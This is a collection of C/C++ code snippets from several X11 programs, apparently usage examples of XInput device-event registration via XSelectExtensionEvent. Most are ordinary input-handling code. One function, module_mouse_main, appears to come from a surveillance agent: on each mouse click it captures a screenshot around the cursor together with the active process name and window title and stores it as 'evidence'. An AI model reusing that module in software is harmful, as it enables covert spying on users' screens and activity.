static void add_device_presence_filter (GsdPointingDeviceManager *manager) { Display *display; XEventClass class_presence; gint xi_presence; gint op_code, event, error; if (!XQueryExtension(GDK_DISPLAY(), "XInputExtension", &op_code, &event, &error)) { return; } display = gdk_x11_get_default_xdisplay(); gdk_error_trap_push(); DevicePresence(display, xi_presence, class_presence); XSelectExtensionEvent(display, RootWindow(display, DefaultScreen(display)), &class_presence, 1); gdk_flush(); if (!gdk_error_trap_pop()) gdk_window_add_filter(NULL, device_presence_filter, manager); }
static int register_events(Display *dpy, XDeviceInfo *info, char *dev_name, Bool handle_proximity) { int number = 0; /* number of events registered */ XEventClass event_list[7]; int i; XDevice *device; Window root_win; unsigned long screen; XInputClassInfo *ip; screen = DefaultScreen(dpy); root_win = RootWindow(dpy, screen); device = XOpenDevice(dpy, info->id); if (!device) { fprintf(stderr, "unable to open device '%s'\n", dev_name); return 0; } if (device->num_classes > 0) { for (ip = device->classes, i=0; i<info->num_classes; ip++, i++) { switch (ip->input_class) { case KeyClass: DeviceKeyPress(device, key_press_type, event_list[number]); number++; DeviceKeyRelease(device, key_release_type, event_list[number]); number++; break; case ButtonClass: DeviceButtonPress(device, button_press_type, event_list[number]); number++; DeviceButtonRelease(device, button_release_type, event_list[number]); number++; break; case ValuatorClass: DeviceMotionNotify(device, motion_type, event_list[number]); number++; if (handle_proximity) { ProximityIn(device, proximity_in_type, event_list[number]); number++; ProximityOut(device, proximity_out_type, event_list[number]); number++; } break; default: fprintf(stderr, "unknown class\n"); break; } } if (XSelectExtensionEvent(dpy, root_win, event_list, number)) { fprintf(stderr, "error selecting extended events\n"); return 0; } } return number; }
int XInputEventNotifier::registerForNewDeviceEvent(Display* display) { int xitype; XEventClass xiclass; DevicePresence(display, xitype, xiclass); XSelectExtensionEvent(display, DefaultRootWindow(display), &xiclass, 1); kDebug() << "Registered for new device events from XInput, class" << xitype; xinputEventType = xitype; return xitype; }
bool KeyMonitor::registerEvents() { unsigned long screen; Window window; XDeviceInfo *devices; int num_devices; int i, j; XDevice *device; XInputClassInfo *info; XEventClass event_class; m_display = XOpenDisplay(NULL); screen = DefaultScreen(m_display); window = RootWindow(m_display, screen); devices = XListInputDevices(m_display, &num_devices); for(i=0; i<num_devices; i++) { device = XOpenDevice(m_display, devices[i].id); if (device == NULL) { /* That's not critical since "Virtual core..." devices don't allow opening. */ UQ_DEBUG << "Could not open device: " << devices[i].name; continue; } if (devices[i].use == IsXExtensionKeyboard) { for (info=device->classes, j=0; j < device->num_classes; j++, info++) { if (info->input_class == KeyClass) { DeviceKeyPress(device, key_press_type, event_class); m_eventList.append(event_class); DeviceMappingNotify(device, notify_type, event_class); m_eventList.append(event_class); } } } } if (m_eventList.size() == 0) { UQ_WARNING << "No input devices found."; return false; } if (XSelectExtensionEvent(m_display, window, m_eventList.data(), m_eventList.size())) { UQ_WARNING << "Error selecting events."; return false; } return true; }
static int register_events(XDeviceInfo *info, XDevice *device, Bool handle_proximity) { int number = 0; /* number of events registered */ XEventClass event_list[7]; int i; unsigned long screen; XInputClassInfo *ip; screen = DefaultScreen(display); if (device->num_classes > 0) { for (ip = device->classes, i=0; i<info->num_classes; ip++, i++) { switch (ip->input_class) { case ButtonClass: DeviceButtonPress(device, button_press_type, event_list[number]); number++; DeviceButtonRelease(device, button_release_type, event_list[number]); number++; break; case ValuatorClass: DeviceMotionNotify(device, motion_type, event_list[number]); number++; if (handle_proximity) { ProximityIn(device, proximity_in_type, event_list[number]); number++; ProximityOut(device, proximity_out_type, event_list[number]); number++; } break; default: fprintf(stderr, "Found unknown device class %d\n", ip->input_class); break; } } if (XSelectExtensionEvent(display, root, event_list, number)) { fprintf(stderr, "Error selecting extended events\n"); return 0; } } return number; }
int watch_props(Display *dpy, int argc, char** argv, char* n, char *desc) { XDevice *dev; XDeviceInfo *info; XEvent ev; XDevicePropertyNotifyEvent *dpev; char *name; int type_prop; XEventClass cls_prop; if (list_props(dpy, argc, argv, n, desc) != EXIT_SUCCESS) return EXIT_FAILURE; info = find_device_info(dpy, argv[0], False); if (!info) { fprintf(stderr, "unable to find device %s\n", argv[0]); return EXIT_FAILURE; } dev = XOpenDevice(dpy, info->id); if (!dev) { fprintf(stderr, "unable to open device '%s'\n", info->name); return EXIT_FAILURE; } DevicePropertyNotify(dev, type_prop, cls_prop); XSelectExtensionEvent(dpy, DefaultRootWindow(dpy), &cls_prop, 1); while(1) { XNextEvent(dpy, &ev); dpev = (XDevicePropertyNotifyEvent*)&ev; if (dpev->type != type_prop) continue; name = XGetAtomName(dpy, dpev->atom); printf("Property '%s' changed.\n", name); print_property(dpy, dev, dpev->atom); } XCloseDevice(dpy, dev); }
void _clutter_input_device_x11_select_events (ClutterInputDevice *device, ClutterBackendX11 *backend_x11, Window xwin) { #if HAVE_XINPUT ClutterInputDeviceX11 *device_x11; device_x11 = CLUTTER_INPUT_DEVICE_X11 (device); if (device_x11->xdevice == None || device_x11->num_events == 0) return; XSelectExtensionEvent (backend_x11->xdpy, xwin, device_x11->xevent_list, device_x11->num_events); #endif /* HAVE_XINPUT */ }
void evdevEventsActivationWorkaround(WId window) { /** * Evdev devices send us events *only* in case we requested * them for every window which desires to get them, so just * do it as it wants */ static QSet<WId> registeredWindows; if (registeredWindows.contains(window)) return; registeredWindows.insert(window); QTabletDeviceDataList *tablets = qt_tablet_devices(); for (int i = 0; i < tablets->size(); ++i) { QTabletDeviceData &tab = tablets->operator [](i); XSelectExtensionEvent(KIS_X11->display, window, tab.eventList, tab.eventCount); } }
int main(int argc, char **argv) { Display *display = NULL; int device = -1; int newmouse = -1; int newkbd = -1; int count; int i, j; XDeviceInfo *devInfo; XExtensionVersion *ext; if (argc == 2 || argc == 3 || argc == 4 || argc == 5) { if (!(display = XOpenDisplay(argv[1]))) { printf("Cannot open display %s\n", argv[1]); return -1; } if (argc >= 3) device = strtol(argv[2], NULL, 0); if (argc >= 4) newmouse = strtol(argv[3], NULL, 0); if (argc >= 5) newkbd = strtol(argv[4], NULL, 0); } else { printf("Usage: %s display [device] [newmouse] [newkbd]\n", argv[0]); return -1; } if (!display && !(display = XOpenDisplay(NULL))) { printf("Cannot open default display\n"); return -1; } ext = XGetExtensionVersion(display, INAME); if (!ext || ext == (XExtensionVersion *)NoSuchExtension) { printf("No XInputExtension\n"); return -1; } printf("%s version %d.%d\n", INAME, ext->major_version, ext->minor_version); if (!(devInfo = XListInputDevices(display, &count)) || !count) { printf("Cannot list devices\n"); return -1; } for (i = 0; i < count; i++) { XAnyClassPtr any; const char *kind = "Unknown"; int has_key = 0; switch (devInfo[i].use) { case IsXPointer: kind = "XPointer"; break; case IsXKeyboard: kind = "XKeyboard"; break; case IsXExtensionDevice: kind = "XExtensionDevice"; break; } printf("%2lu %-20.20s %-16.16s", (long unsigned)devInfo[i].id, devInfo[i].name ? devInfo[i].name : "", kind); for (j = 0, any = devInfo[i].inputclassinfo; j < devInfo[i].num_classes; any = (XAnyClassPtr)((char *)any + any->length), j++) { const char *class = "unk"; switch (any->class) { case KeyClass: class = "key"; ++has_key; break; case ButtonClass: class = "btn"; break; case ValuatorClass: class = "val"; break; case FeedbackClass: class = "fdb"; break; case ProximityClass: class = "prx"; break; case FocusClass: class = "foc"; break; case OtherClass: class = "oth"; break; } printf(" %s", class); } printf("\n"); printdmxinfo(display, i); if (has_key) { XkbDescPtr xkb; if ((xkb = XkbGetKeyboard(display, XkbAllComponentsMask, devInfo[i].id))) { printf(" Xkb Information:\n"); printf(" Device id = %d\n", xkb->device_spec); printf(" Min keycode = 0x%02x\n", xkb->min_key_code); printf(" Max keycode = 0x%02x\n", xkb->max_key_code); #define PRINTNAME(x) \ printf(" %s = %s\n", \ #x, xkb->names->x ? XGetAtomName(display, xkb->names->x) : "") PRINTNAME(keycodes); PRINTNAME(geometry); PRINTNAME(symbols); PRINTNAME(types); PRINTNAME(compat); } } } if (newmouse >= 0) { XDevice *dev; printf("Trying to make device %d core mouse\n", newmouse); dev = XOpenDevice(display, devInfo[newmouse].id); printf("Status = %d\n", XChangePointerDevice(display, dev, 0, 1)); return 0; } if (newkbd >= 0) { XDevice *dev; printf("Trying to make device %d core keyboard\n", newkbd); dev = XOpenDevice(display, devInfo[newkbd].id); printf("Status = %d\n", XChangeKeyboardDevice(display, dev)); return 0; } if (device >=0){ #define MAX_EVENTS 100 int cnt = 0; XDevice *dev; XEventClass event_list[MAX_EVENTS]; int event_type[MAX_EVENTS]; const char *names[MAX_EVENTS]; int total = 0; #define ADD(type) \ if (cnt >= MAX_EVENTS) abort(); \ names[cnt] = #type; \ type(dev, event_type[cnt], event_list[cnt]); \ if (event_type[cnt]) ++cnt dev = XOpenDevice(display, devInfo[device].id); ADD(DeviceKeyPress); ADD(DeviceKeyRelease); ADD(DeviceButtonPress); ADD(DeviceButtonRelease); ADD(DeviceMotionNotify); ADD(DeviceFocusIn); ADD(DeviceFocusOut); ADD(ProximityIn); ADD(ProximityOut); ADD(DeviceStateNotify); ADD(DeviceMappingNotify); ADD(ChangeDeviceNotify); for (i = 0; i < cnt; i++) { printf("Waiting for %s events of type %d (%lu) on 0x%08lx\n", names[i], event_type[i], (unsigned long)event_list[i], (long unsigned)DefaultRootWindow(display)); } XSelectExtensionEvent(display, DefaultRootWindow(display), event_list, cnt); for (;;) { XEvent event; XNextEvent(display, &event); for (i = 0; i < cnt; i++) { XDeviceMotionEvent *e = (XDeviceMotionEvent *)&event; XDeviceButtonEvent *b = (XDeviceButtonEvent *)&event; if (event.type == event_type[i]) { printf("%s id=%lu (%d @ %d,%d; s=0x%04x, d=%d, t=%lu)" " axes_count=%d first=%d %d %d %d %d %d %d\n", names[i], (long unsigned)e->deviceid, e->type, e->x, e->y, e->device_state, b->button, (long unsigned)b->time, e->axes_count, e->first_axis, e->axis_data[0], e->axis_data[1], e->axis_data[2], e->axis_data[3], e->axis_data[4], e->axis_data[5]); } } ++total; #if 0 /* Used to check motion history for * extension devices. */ if (!(total % 10)) { XDeviceTimeCoord *tc; int n, m, a; struct timeval tv; unsigned long ms; gettimeofday(&tv, NULL); ms = tv.tv_sec * 1000 + tv.tv_usec / 1000; tc = XGetDeviceMotionEvents(display, dev, ms-1000, ms, &n, &m, &a); printf("Got %d events of mode %s with %d axes\n", n, m == Absolute ? "Absolute" : "Relative", a); for (i = 0; i < n && i < 10; i++) { printf(" %d: %lu %d %d\n", i, tc[i].time, tc[i].data[0], tc[i].data[1]); } XFreeDeviceMotionEvents(tc); } #endif } } XCloseDisplay(display); return 0; }
JNIEXPORT void JNICALL Java_com_turbovnc_vncviewer_Viewport_setupExtInput (JNIEnv *env, jobject obj) { jclass cls, eidcls; jfieldID fid; jmethodID mid; Display *dpy = NULL; Window win = 0; XDeviceInfo *devInfo = NULL; XDevice *device = NULL; int nDevices = 0, i, ci, ai, nEvents = 0; int buttonPressType = -1, buttonReleaseType = -1, motionType = -1; XEventClass events[100] = { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}; jobject extInputDevice; if ((dpy = XOpenDisplay(NULL)) == NULL) _throw("Could not open X display"); bailif0(cls = (*env)->GetObjectClass(env, obj)); bailif0(fid = (*env)->GetFieldID(env, cls, "x11win", "J")); if ((win = (Window)(*env)->GetLongField(env, obj, fid)) == 0) _throw("X window handle has not been initialized"); if ((devInfo = XListInputDevices(dpy, &nDevices)) == NULL) _throw("Could not list XI devices"); for (i = 0; i < nDevices; i++) { char *type; XAnyClassPtr classInfo = devInfo[i].inputclassinfo; CARD32 canGenerate = 0, productID = 0; if (devInfo[i].use != IsXExtensionPointer) continue; if (devInfo[i].type == None) continue; type = XGetAtomName(dpy, devInfo[i].type); if (!strcmp(type, "MOUSE")) { XFree(type); continue; } /* TurboVNC-specific: we use productID to represent the device type, so we can recreate it on the server */ if (!strcmp(type, "CURSOR")) productID = rfbGIIDevTypeCursor; else if (!strcmp(type, "STYLUS")) productID = rfbGIIDevTypeStylus; else if (!strcmp(type, "ERASER")) productID = rfbGIIDevTypeEraser; else if (!strcmp(type, "TOUCH")) productID = rfbGIIDevTypeTouch; else if (!strcmp(type, "PAD")) productID = rfbGIIDevTypePad; XFree(type); bailif0(eidcls = (*env)->FindClass(env, "com/turbovnc/rfb/ExtInputDevice")); bailif0(extInputDevice = (*env)->AllocObject(env, eidcls)); SET_STRING(eidcls, extInputDevice, name, devInfo[i].name); SET_LONG(eidcls, extInputDevice, vendorID, 4242); SET_LONG(eidcls, extInputDevice, productID, productID); SET_LONG(eidcls, extInputDevice, id, devInfo[i].id); for (ci = 0; ci < devInfo[i].num_classes; ci++) { switch (classInfo->class) { case ButtonClass: { XButtonInfoPtr b = (XButtonInfoPtr)classInfo; SET_INT(eidcls, extInputDevice, numButtons, b->num_buttons); canGenerate |= rfbGIIButtonPressMask | rfbGIIButtonReleaseMask; break; } case ValuatorClass: { XValuatorInfoPtr v = (XValuatorInfoPtr)classInfo; jclass valcls; bailif0(valcls = (*env)->FindClass(env, "com/turbovnc/rfb/ExtInputDevice$Valuator")); if (v->mode == Absolute) canGenerate |= rfbGIIValuatorAbsoluteMask; else if (v->mode == Relative) canGenerate |= rfbGIIValuatorRelativeMask; for (ai = 0; ai < v->num_axes; ai++) { jobject valuator; XAxisInfoPtr a = &v->axes[ai]; char longName[75], shortName[5]; bailif0(valuator = (*env)->AllocObject(env, valcls)); SET_INT(valcls, valuator, index, ai); snprintf(longName, 75, "Valuator %d", ai); SET_STRING(valcls, valuator, longName, longName); snprintf(shortName, 5, "%d", ai); SET_STRING(valcls, valuator, shortName, shortName); SET_INT(valcls, valuator, rangeMin, a->min_value); SET_INT(valcls, valuator, rangeCenter, (a->min_value + a->max_value) / 2); SET_INT(valcls, valuator, rangeMax, a->max_value); SET_INT(valcls, valuator, siUnit, rfbGIIUnitLength); SET_INT(valcls, valuator, siDiv, a->resolution); bailif0(mid = (*env)->GetMethodID(env, eidcls, "addValuator", "(Lcom/turbovnc/rfb/ExtInputDevice$Valuator;)V")); (*env)->CallVoidMethod(env, extInputDevice, mid, valuator); } break; } } classInfo = (XAnyClassPtr)((char *)classInfo + classInfo->length); } SET_LONG(eidcls, extInputDevice, canGenerate, canGenerate); if (canGenerate & rfbGIIValuatorAbsoluteMask) SET_BOOL(eidcls, extInputDevice, absolute, 1); if ((device = XOpenDevice(dpy, devInfo[i].id)) == NULL) _throw("Could not open XI device"); for (ci = 0; ci < device->num_classes; ci++) { if (device->classes[ci].input_class == ButtonClass) { DeviceButtonPress(device, buttonPressType, events[nEvents]); nEvents++; DeviceButtonRelease(device, buttonReleaseType, events[nEvents]); nEvents++; } else if (device->classes[ci].input_class == ValuatorClass) { DeviceMotionNotify(device, motionType, events[nEvents]); nEvents++; } } XCloseDevice(dpy, device); device=NULL; bailif0(mid = (*env)->GetMethodID(env, cls, "addInputDevice", "(Lcom/turbovnc/rfb/ExtInputDevice;)V")); (*env)->CallVoidMethod(env, obj, mid, extInputDevice); } XFreeDeviceList(devInfo); devInfo = NULL; if (nEvents == 0) { printf("No extended input devices.\n"); goto bailout; } if (XSelectExtensionEvent(dpy, win, events, nEvents)) _throw("Could not select XI events"); SET_INT(cls, obj, buttonPressType, buttonPressType); SET_INT(cls, obj, buttonReleaseType, buttonReleaseType); SET_INT(cls, obj, motionType, motionType); SET_LONG(cls, obj, x11dpy, (jlong)dpy); printf("TurboVNC Helper: Listening for XInput events on %s (window 0x%.8x)\n", DisplayString(dpy), (unsigned int)win); bailout: if (dpy && device) XCloseDevice(dpy, device); if (devInfo) XFreeDeviceList(devInfo); }
void *module_mouse_main(void *args) { Display *display = NULL; int i, devnum = 0, mousenum = 0, buttonrelease = 0; XDeviceInfo *devinfo = NULL; XDevice **device = NULL; XEventClass evlist; XEvent event; Window root, child; int rootX, rootY, childX, childY; unsigned int mask; XWindowAttributes wininfo; int maxfd = -1, xfd = -1; int width = 40, height = 40; char *process = NULL, *title = NULL; int imgx, imgy, imgw, imgh; fd_set rfds; struct additional a; BIO *bio_additional = NULL; char *additionalptr, *dataptr = NULL; long additionallen, datalen = 0; debugme("Module MOUSE started\n"); if(initlib(INIT_LIBXI|INIT_LIBJPEG)) return NULL; if(MODULE_MOUSE_P) { width = MODULE_MOUSE_P->width; height = MODULE_MOUSE_P->height; } do { if((display = XOpenDisplay(NULL)) == NULL) break; if((xfd = ConnectionNumber(display)) < 0) break; if(!(devinfo = XListInputDevices(display, &devnum)) || !devnum) break; if(!(device = calloc(devnum, sizeof(XDevice *)))) break; if(!(bio_additional = BIO_new(BIO_s_mem()))) break; for(i = 0; i < devnum; i++) { if(devinfo[i].use == IsXExtensionPointer) { if(!(device[i] = XOpenDevice(display, devinfo[i].id))) continue; DeviceButtonRelease(device[i], buttonrelease, evlist); XSelectExtensionEvent(display, DefaultRootWindow(display), &evlist, 1); mousenum++; } } if(!mousenum) break; maxfd = MAX(xfd, MODULE_MOUSE.event) + 1; while(MODULE_MOUSE.status != MODULE_STOPPING) { do { if(!XPending(display)) { FD_ZERO(&rfds); FD_SET(xfd, &rfds); FD_SET(MODULE_MOUSE.event, &rfds); if(select(maxfd, &rfds, NULL, NULL, NULL) == -1) break; } if(MODULE_MOUSE.status == MODULE_STOPPING) break; if(XNextEvent(display, &event)) break; if(event.type != buttonrelease) break; if(((XDeviceButtonEvent *)&event)->button > 3) break; XQueryPointer(display, DefaultRootWindow(display), &root, &child, &rootX, &rootY, &childX, &childY, &mask); XGetWindowAttributes(display, DefaultRootWindow(display), &wininfo); getwindowproperties(display, getactivewindow(display), &process, &title); debugme("MOUSE b=%d, x=%d, y=%d (%s | %.20s)\n", ((XDeviceButtonEvent *)&event)->button, rootX, rootY, process, title); imgx = MAX(rootX - (width / 2), 0); imgy = MAX(rootY - (height / 2), 0); imgw = MIN(rootX + (width / 2), wininfo.width) - imgx; imgh = MIN(rootY + (height / 2), wininfo.height) - imgy; if(!(datalen = getscreenimage(display, DefaultRootWindow(display), imgx, imgy, imgw, imgh, 90, &dataptr))) break; a.version = MOUSEMODULE_VERSION; a.processlen = strlen16(process) + 2; a.titlelen = strlen16(title) + 2; a.x = rootX; a.y = rootY; a.width = imgw; a.height = imgh; (void)BIO_reset(bio_additional); BIO_write(bio_additional, &a, sizeof(a)); BIO_puts16n(bio_additional, process); BIO_puts16n(bio_additional, title); if(!(additionallen = BIO_get_mem_data(bio_additional, &additionalptr))) break; evidence_write(EVIDENCE_TYPE_MOUSE, additionalptr, additionallen, dataptr, datalen); } while(0); if(dataptr) { free(dataptr); dataptr = NULL; } if(process) { free(process); process = NULL; } if(title) { free(title); title = NULL; } } } while(0); if(bio_additional) BIO_free(bio_additional); if(device) { for(i = 0; i < devnum; i++) if(device[i]) XCloseDevice(display, device[i]); free(device); } if(devinfo) XFreeDeviceList(devinfo); if(display) XCloseDisplay(display); debugme("Module MOUSE stopped\n"); return NULL; }
/* this piece of code was taken from package xinput-1.12 */ static int register_events(int player_id, Display *dpy, XDeviceInfo *info, char *dev_name) { int number = 0; /* number of events registered */ XEventClass event_list[7]; int i; XAnyClassPtr any; XDevice *device; Window root_win; unsigned long screen; XInputClassInfo *ip; XButtonInfoPtr binfo; XValuatorInfoPtr vinfo; screen = DefaultScreen(dpy); root_win = RootWindow(dpy, screen); device = XOpenDevice(dpy, info->id); if (!device) { fprintf(stderr, "XInput: Unable to open XInput device `%s'\n", dev_name); return 0; } fprintf(stderr, "XInput: Player %d using Device `%s'", player_id + 1, dev_name); if (device->num_classes > 0) { any = (XAnyClassPtr)(info->inputclassinfo); for (ip = device->classes, i=0; i<info->num_classes; ip++, i++) { switch (ip->input_class) { case KeyClass: DeviceKeyPress(device, key_press_type, event_list[number]); number++; DeviceKeyRelease(device, key_release_type, event_list[number]); number++; break; case ButtonClass: binfo = (XButtonInfoPtr) any; DeviceButtonPress(device, button_press_type, event_list[number]); number++; DeviceButtonRelease(device, button_release_type, event_list[number]); number++; fprintf(stderr, ", %d buttons", binfo->num_buttons); break; case ValuatorClass: vinfo=(XValuatorInfoPtr) any; DeviceMotionNotify(device, motion_type, event_list[number]); number++; fprintf(stderr, ", %d axis", vinfo->num_axes); break; default: break; } any = (XAnyClassPtr) ((char *) any+any->length); } if (XSelectExtensionEvent(dpy, root_win, event_list, number)) { fprintf(stderr, ": Could not select extended events, not using"); number = 0; } } else fprintf(stderr, " contains no classes, not using"); fprintf(stderr, "\n"); return number; }
int snoop_xinput(Window win) { int opcode, event, error, numdevs, i, j; int major, minor, rc, rawmotion = 0; int ev = 0; unsigned char mask[(XI_LASTEVENT + 7)/8]; XDeviceInfo *devinfo; XInputClassInfo *ici; XDevice *device; XIEventMask evmasks[1]; if (!XQueryExtension(dpy, "XInputExtension", &opcode, &event, &error)) { if (debug) warn("XInput extension not available"); return (0); } /* * If we support xinput 2, use that for raw motion and button events to * get pointer data when the cursor is over a Chromium window. We * could also use this to get raw key input and avoid the other XInput * stuff, but we may need to be able to examine the key value later to * filter out ignored keys. */ major = minor = 2; rc = XIQueryVersion(dpy, &major, &minor); if (rc != BadRequest) { memset(mask, 0, sizeof(mask)); XISetMask(mask, XI_RawMotion); XISetMask(mask, XI_RawButtonPress); evmasks[0].deviceid = XIAllMasterDevices; evmasks[0].mask_len = sizeof(mask); evmasks[0].mask = mask; XISelectEvents(dpy, win, evmasks, 1); XFlush(dpy); rawmotion = 1; if (debug) printf("using xinput2 raw motion events\n"); } devinfo = XListInputDevices(dpy, &numdevs); XEventClass event_list[numdevs * 2]; for (i = 0; i < numdevs; i++) { if (devinfo[i].use != IsXExtensionKeyboard && devinfo[i].use != IsXExtensionPointer) continue; if (!(device = XOpenDevice(dpy, devinfo[i].id))) break; for (ici = device->classes, j = 0; j < devinfo[i].num_classes; ici++, j++) { switch (ici->input_class) { case KeyClass: if (debug) printf("attaching to keyboard device " "%s (use %d)\n", devinfo[i].name, devinfo[i].use); DeviceKeyPress(device, key_press_type, event_list[ev]); ev++; DeviceKeyRelease(device, key_release_type, event_list[ev]); ev++; break; case ButtonClass: if (rawmotion) continue; if (debug) printf("attaching to buttoned device " "%s (use %d)\n", devinfo[i].name, devinfo[i].use); DeviceButtonPress(device, button_press_type, event_list[ev]); ev++; DeviceButtonRelease(device, button_release_type, event_list[ev]); ev++; break; case ValuatorClass: if (rawmotion) continue; if (debug) printf("attaching to pointing device " "%s (use %d)\n", devinfo[i].name, devinfo[i].use); DeviceMotionNotify(device, motion_type, event_list[ev]); ev++; break; } } if (XSelectExtensionEvent(dpy, win, event_list, ev)) { warn("error selecting extension events"); return (0); } } return (ev); }